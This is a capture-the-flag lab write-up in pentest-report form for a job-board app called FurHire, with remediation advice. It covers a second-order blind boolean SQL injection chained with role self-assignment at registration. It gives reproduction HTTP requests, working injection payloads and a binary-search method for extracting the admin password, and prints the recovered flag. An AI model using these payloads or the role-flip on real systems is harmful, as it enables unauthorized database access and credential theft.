BugForge — 2026.04.19

FurHire: Second-Order Blind Boolean SQLi + Role Self-Assignment

BugForge Second-Order Blind Boolean SQL Injection medium

Part 1 — Pentest Report

Executive Summary

FurHire is a job-board application on the BugForge platform built on Node.js + Express with Socket.io for real-time updates, JWT (HS256) authentication, and a SQLite backend. The app exposes two user roles — recruiter and user (seeker) — with distinct API surfaces for each.

Testing confirmed two findings:

ID Title Severity CVSS CWE Endpoint
F1 Second-order blind boolean SQL injection via stored status value High 7.1 CWE-89 PUT /api/applications/:id/status (sink) → GET /api/my-applications (oracle)
F2 Role self-assignment at registration Medium 6.5 CWE-915, CWE-269 POST /api/register

F1 is a second-order SQL injection: the status string from a recruiter’s PUT /api/applications/:id/status is stored verbatim, then on the seeker-side read at GET /api/my-applications it is evaluated as part of a SQL expression wrapped in single quotes. A literal string reflects verbatim, but accepted' or '1'='1 reflects as "1" and accepted' or '1'='2 reflects as "0" — a clean boolean oracle rendered directly in the JSON response, no timing and no error surface required. F2 is the enabler: POST /api/register trusts the role field from the request body, so an attacker can self-assign the recruiter role and reach the PUT sink without any invitation or admin approval. Chained, F1 + F2 give an unauthenticated attacker full database read; extracted the admin user’s password (bug{TthEMOnLhhblwaJ3ual8s6TZ9yWSwqTV}, 37 chars) via binary-search in ~25 seconds.


Objective

Recover the lab flag — the admin user’s password in the users table — on the BugForge “FurHire” lab.


Scope / Initial Access

# Target Application
URL: https://lab-1776625748662-cseaat.labs-app.bugforge.io

# Auth
POST /api/register → {role, username, email, full_name, password} → JWT HS256
POST /api/login    → {username, password} → JWT HS256
                     payload: {"id":N, "username":"...", "role":"recruiter|user", "iat":...}
Authorization: Bearer <jwt>   on protected endpoints

# Test accounts used
recruiter (id=7, role=recruiter)  — created via role flip in register body (F2)
seeker    (id=8, role=user)       — created via default register flow

Self-registration is open. Roles are embedded directly in the issued JWT ("role":"recruiter" vs "role":"user"), and the server uses the JWT’s role claim to gate recruiter-only endpoints. No admin login flow is exposed — the admin record lives in the users table and its password IS the lab flag.


Reconnaissance — Role Surface Mapping and Reflection Check

The UI presents two signup flows: a seeker path (/register) and a recruiter path (/register?role=recruiter). Both submit to the same POST /api/register endpoint with the role selection carried inside the JSON body. That observation alone motivated F2 as the first test.

After acquiring both role JWTs, API surface was walked role-by-role in Caido:

  1. Recruiter endpointsPUT /api/company, POST /api/jobs, GET /api/jobs/:id/applicants, PUT /api/applications/:id/status. The last one accepts a free-form status string with no observed allow-list.
  2. Seeker endpointsPUT /api/profile, POST /api/jobs/:id/apply, GET /api/my-applications. The last one returns a JOINed row that includes the status field stored by the recruiter.
  3. Reflection check — setting {"status":"accepted"} as recruiter produced "status":"accepted" on both read paths (recruiter’s /applicants view AND seeker’s /my-applications view). That made the seeker-side read a candidate for second-order injection: a user-controlled string was written by one role, then read back literally by a different role through a different query.
  4. Stack fingerprintX-Powered-By: Express, Socket.io handshake traffic, and JWT alg: HS256. SQLite was inferred from later probe behavior (see F1 Description).

Application Architecture

Component Detail
Frontend SPA (role-aware routes under /register, /dashboard, /jobs)
Backend Node.js + Express (X-Powered-By: Express)
Real-time Socket.io (polling + websocket transport observed on handshake)
Auth JWT HS256, Authorization: Bearer ...; payload {id, username, role, iat}
Database SQLite — confirmed via substr() syntax working and integer 0/1 boolean coercion in reflection

API Surface

Endpoint Method Auth Notes
/api/register POST No Role carried in body — self-assignable (F2)
/api/login POST No Returns JWT HS256
/api/jobs GET No List all jobs
/api/company PUT Recruiter Set up company record
/api/jobs POST Recruiter Create job posting
/api/jobs/:id/applicants GET Recruiter List applicants for own job; reflects stored status literally (not as oracle)
/api/applications/:id/status PUT Recruiter Vulnerable sink — stores status verbatim (F1)
/api/profile PUT Seeker Create seeker profile
/api/jobs/:id/apply POST Seeker Submit application
/api/my-applications GET Seeker Oracle — reflects stored status as SQL expression result (F1)

Known Users (recovered via F1)

Username ID Role
admin (unknown) admin
recruiter 7 recruiter (test account)
seeker 8 user (test account)

Attack Chain Visualization

┌────────────────────────────────────────────────────────────────────┐
│ [attacker — unauthenticated]                                       │
│                                                                    │
│   1. POST /api/register  {"role":"recruiter", ...}                 │
│        └── F2: role trusted from body → recruiter JWT issued       │
│                                                                    │
│   2. PUT /api/company    → company record created                  │
│      POST /api/jobs      → job id 5 created                        │
│                                                                    │
│   3. POST /api/register  (default role "user") → seeker JWT        │
│      POST /api/jobs/5/apply (as seeker) → application id 1         │
│                                                                    │
│   4. (as recruiter) PUT /api/applications/1/status                 │
│         body: {"status": "accepted' OR <probe>"}                   │
│         └── stored verbatim — no status allow-list                 │
│                                                                    │
│   5. (as seeker)    GET /api/my-applications                       │
│         └── F1: stored value evaluated as SQL expression           │
│             status in response = "1" (TRUE) or "0" (FALSE)         │
│                                                                    │
│   6. Binary-search extraction of admin.password (37 chars)         │
│         └── ~260 requests, ~25s total                              │
│                                                                    │
│   ▼                                                                │
│ [flag: bug{TthEMOnLhhblwaJ3ual8s6TZ9yWSwqTV}]                      │
└────────────────────────────────────────────────────────────────────┘

Findings

F1 — Second-order blind boolean SQL injection via stored status value

Severity: High CVSS v3.1: 7.1 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) Endpoint (sink): PUT /api/applications/:id/status Endpoint (oracle): GET /api/my-applications Authentication required: Yes — recruiter JWT for the sink, seeker JWT (as the application owner) for the oracle. Combined with F2, both roles are self-registerable.

Description

The status value from a recruiter’s PUT /api/applications/:id/status is stored verbatim — no allow-list, no length limit, no character filter. On the seeker-side read at GET /api/my-applications, the stored string appears inside a SQL expression wrapped in single quotes, where the database evaluates the expression and the result is returned as the status field in the JSON response. This behavior is consistent with the stored value being inlined between single quotes into a SELECT expression (the exact query string is not directly observable).

Three observations pin the mechanic:

  1. A literal string (accepted) round-trips verbatim: response "status":"accepted".
  2. accepted' or '1'='1 produces response "status":"1" — the closing ' appended by the wrapping query completes a valid boolean expression that evaluates to TRUE. SQLite renders the boolean result as integer 1.
  3. accepted' or '1'='2 produces response "status":"0" — same mechanic, FALSE branch.

SQLite is identified by the integer boolean coercion (0/1 rendering of a boolean expression result) and by substr(col, i, 1) working in extraction probes. The 0/1 rendering also gives a ready-made binary oracle without needing timing or errors.

Impact

Full read of any table the application database user can access. The admin user’s password column was extracted in ~25 seconds using a 37-character binary search against a 65-character safe charset ([-0-9A-Z_a-z{}]). The same oracle supports arbitrary SELECT subqueries, so credential dumps, session tokens, and any other stored secret are reachable. Write impact was not tested in this engagement but is plausible given the injection shape (SQLite supports chained statements via ; and UPDATE/INSERT via RETURNING in recent versions).

Chained with F2 (which lets any unauthenticated user self-issue a recruiter JWT), this becomes effectively pre-authentication full database read.

Reproduction

Step 1 — Register as recruiter via role flip (depends on F2)

POST /api/register HTTP/1.1
Host: lab-1776625748662-cseaat.labs-app.bugforge.io
Content-Type: application/json

{"role":"recruiter","username":"recruiter","email":"r@x","full_name":"R","password":"p"}

Response: 200 OK, JWT with "role":"recruiter". Save as RECRUITER_JWT.

Step 2 — Create company and job

PUT /api/company HTTP/1.1
Authorization: Bearer <RECRUITER_JWT>
Content-Type: application/json

{"name":"acme","description":"x","website":"https://x"}

Response: 200 OK.

POST /api/jobs HTTP/1.1
Authorization: Bearer <RECRUITER_JWT>
Content-Type: application/json

{"title":"x","description":"x","location":"x","salary":0}

Response: 200 OK, {"id":5,...}. Job id 5.

Step 3 — Register a second account as seeker and apply to job 5

POST /api/register HTTP/1.1
Content-Type: application/json

{"role":"user","username":"seeker","email":"s@x","full_name":"S","password":"p"}

Response: 200 OK, seeker JWT. Save as SEEKER_JWT.

POST /api/jobs/5/apply HTTP/1.1
Authorization: Bearer <SEEKER_JWT>
Content-Type: application/json

{}

Response: 200 OK, {"id":1,...}. Application id 1.

Step 4 — Baseline reflection (as recruiter)

PUT /api/applications/1/status HTTP/1.1
Authorization: Bearer <RECRUITER_JWT>
Content-Type: application/json

{"status":"accepted"}

Then (as seeker):

GET /api/my-applications HTTP/1.1
Authorization: Bearer <SEEKER_JWT>

Response: application 1 has "status":"accepted". Literal reflection confirmed.

Step 5 — TRUE branch probe

PUT /api/applications/1/status
Authorization: Bearer <RECRUITER_JWT>

{"status":"accepted' or '1'='1"}

Then GET /api/my-applications as seeker. Response: application 1 has "status":"1". SQL evaluation confirmed.

Step 6 — FALSE branch probe

PUT /api/applications/1/status
{"status":"accepted' or '1'='2"}

Response (seeker read): "status":"0". Oracle differentiation confirmed.

Step 7 — Password length Payload for the sink:

accepted' OR (SELECT length((SELECT password FROM users WHERE username='admin')))={n} AND '1'='1

Scan n ∈ [1, 80]. Oracle returns "1" at n = 37.

Step 8 — Per-character binary search Payload:

accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),{i},1))<='{c}

For each position i ∈ [1, 37], binary-search c over the safe charset [-0-9A-Z_a-z{}] (65 chars, ~7 probes per position via <=). Full extraction completes in ~260 requests and ~25 seconds with the end-to-end tool at tools/extract_flag.py in the engagement directory.

Result: bug{TthEMOnLhhblwaJ3ual8s6TZ9yWSwqTV} (the lab flag).

Remediation

Fix 1 — Parameterise the seeker-side SELECT

// BEFORE (Vulnerable — stored string inlined into SQL expression)
const sql = `SELECT ..., '${row.status}' AS status FROM applications ... `;

// AFTER (Secure — status treated as column value, not expression text)
const sql = `SELECT ..., status FROM applications ... `;
// Return the column value directly. If a display transformation is needed,
// do it in application code after the query, not inside the SQL string.

Fix 2 — Allow-list status values on PUT (defence in depth)

// In the PUT handler for /api/applications/:id/status
const ALLOWED_STATUSES = new Set(['pending', 'accepted', 'rejected']);
if (!ALLOWED_STATUSES.has(req.body.status)) {
  return res.status(400).json({ error: 'Invalid status value' });
}

Additional recommendations:

  • Audit every SQL query that consumes user-stored values for the same inlining pattern — the sink→oracle is cross-role, which means a code review that only looks at “where does user input enter the query” at write time can miss it. The vulnerable read path is three layers of indirection away from the untrusted write.
  • If a framework ORM or query builder is in use, enforce its use repo-wide. Any raw-SQL or template-literal query should be flagged by lint.
  • Add server-side output schema validation on read endpoints. A status field that returns "1" when the enum is {pending, accepted, rejected} should fail validation and log.
  • Consider storing sensitive secrets (such as admin credentials) outside the users table or in a column that is never selected by JOINed read queries.

F2 — Role self-assignment at registration

Severity: Medium CVSS v3.1: 6.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-269 (Improper Privilege Management) Endpoint: POST /api/register Authentication required: No

Description

POST /api/register trusts the role field from the request body. The UI steers users to /register?role=recruiter for the recruiter signup flow, but the role choice is carried inside the POST body, not derived server-side from any invitation, verification, or admin-controlled channel. Sending {"role":"recruiter", ...} returns a JWT containing "role":"recruiter" on an attacker-chosen username.

Impact

Unauthenticated attackers can assign themselves the recruiter role, which is intended to be gated behind an offline/business-verified signup flow. Recruiter role unlocks PUT /api/company, POST /api/jobs, GET /api/jobs/:id/applicants, and crucially PUT /api/applications/:id/status — the F1 sink. Without a separate recruiter-onboarding mechanism, the role boundary is effectively cosmetic.

Direct impact in isolation is limited to unauthorized recruiter-role actions (posting fake jobs, reading applicant lists). Indirect impact, via F1, is full database read.

Reproduction

Step 1 — Register with attacker-chosen role

POST /api/register HTTP/1.1
Host: lab-1776625748662-cseaat.labs-app.bugforge.io
Content-Type: application/json

{"role":"recruiter","username":"attacker","email":"a@x","full_name":"A","password":"p"}

Response: 200 OK, body includes a JWT whose decoded payload is:

{"id":7,"username":"attacker","role":"recruiter","iat":1776625842}

Step 2 — Confirm recruiter-only endpoint is reachable

PUT /api/company HTTP/1.1
Authorization: Bearer <ATTACKER_JWT>
Content-Type: application/json

{"name":"acme","description":"x","website":"https://x"}

Response: 200 OK. Recruiter-gated functionality is accessible.

Remediation

Fix 1 — Do not trust the role field at registration

// BEFORE (Vulnerable — role taken from request body)
app.post('/api/register', (req, res) => {
  const { username, email, password, full_name, role } = req.body;
  db.insert('users', { username, email, password, full_name, role });
  // ...issue JWT with role from body
});

// AFTER (Secure — role is server-controlled)
app.post('/api/register', (req, res) => {
  const { username, email, password, full_name } = req.body;
  // role is hard-coded for self-signup
  db.insert('users', { username, email, password, full_name, role: 'user' });
  // ...issue JWT with role: 'user'
});

Fix 2 — Separate onboarding for privileged roles

  • Recruiter signup should require an invitation token, email-verified domain, or admin approval before the recruiter role is set on the account.
  • If self-service recruiter signup is a product requirement, explicitly allow-list it at the handler and reject any other role string.

Additional recommendations:

  • Audit the JWT claims issued at every auth endpoint. Any role / permission claim derived from user-controlled input is a CWE-915 candidate.
  • Add integration tests that assert the issued JWT’s role does NOT match an attacker-supplied role field when one shouldn’t be honored.

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: F2 is a textbook broken access control defect at registration — the app’s role boundary is defined in the UI, not in the server-side registration handler.
  • A03:2021 — Injection: F1 is a second-order SQL injection. The untrusted store happens on the recruiter-side write; the injection fires on the seeker-side read.
  • A04:2021 — Insecure Design: The sink (PUT /.../status) and the oracle (GET /my-applications) are cross-role by design — a recruiter writes, a seeker reads. Input validation that only fires at the write boundary has a single-role view of the data lifecycle and misses this class.
  • A08:2021 — Software and Data Integrity Failures: status crosses a trust boundary between roles without revalidation on read.

Tools Used

Tool Purpose
Burp Suite Hand-driven primary testing, request tampering
Caido Parallel re-run to confirm the chain; request history comparison
tools/extract_flag.py End-to-end extractor — calibrate, length scan, binary-search extraction

References


Part 2 — Notes / Knowledge

Key Learnings

  • Second-order SQL injection is a cross-role search problem, not a cross-endpoint search problem. The write sink and the read oracle live on different API surfaces accessed by different user roles. Any audit that walks endpoints role-by-role will see the write as “just a status update with no query” and the read as “just a SELECT with no user input”. Only by tracing the data lifecycle — who writes the value, who reads it back, what query handles the read — do the two halves meet. Practically: when you find a user-controlled string that gets stored verbatim, always check every read path that touches that column, regardless of which role owns the read.

  • Integer 0/1 reflection of a boolean expression is a SQLite fingerprint AND a free oracle. Most other engines (MySQL, PostgreSQL, MSSQL) also coerce booleans in expressions, but SQLite’s type affinity makes it render cleanly as a literal 0/1 in JSON output, and it’s one of the few engines where a boolean expression result can land in a SELECT column without explicit casting. Seeing "status":"1" when you wrote accepted' or '1'='1 means you already have a working binary oracle — no timing side channel, no error introspection required. Move directly to extraction.

  • String-comparison binary search beats per-char equality by ~9× on a 65-char alphabet. The naïve approach is to test each of the 65 characters for equality at each position, ~65 probes per position. Using substr(...,i,1) <= 'c' with binary search drops it to ~7 probes per position (log₂ 65). No engine-specific functions (ASCII, CHAR, UNICODE) needed — direct char-literal comparison works as long as the charset excludes ' and \, which the target’s flag format (bug{...} over [A-Za-z0-9_{}-]) always satisfies. Same technique carries over to any blind-boolean SQLi with a printable-ASCII target.

  • Role-in-body at registration is a recurring BugForge pattern. This is the third FurHire/BugForge engagement where a client-steered role choice was trusted server-side. Before any other test, always send a role field in POST /api/register and check whether the returned JWT honors it. It’s a five-second probe that unlocks the differentiated-role attack surface. Worth encoding as a default step in the recon checklist rather than discovering it mid-engagement.


Failed Approaches

Approach Result Why It Failed
Probing GET /api/jobs/:id/applicants (recruiter’s view) with the same stored-status payload Response returned the stored string literally ("status":"accepted' or '1'='1") That query does not inline the stored value into a SQL expression — the column is selected directly. Only the seeker-side /my-applications read has the inlining pattern.

(Scope was narrow this round — the first real probe after identifying the reflection hit the injection. No other dead ends to report.)


Tags: #sqli #second-order-sqli #blind-boolean #sqlite #mass-assignment #role-escalation #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-19

#sqli #second-order-sqli #blind-boolean #sqlite #mass-assignment #role-escalation #bugforge #webapp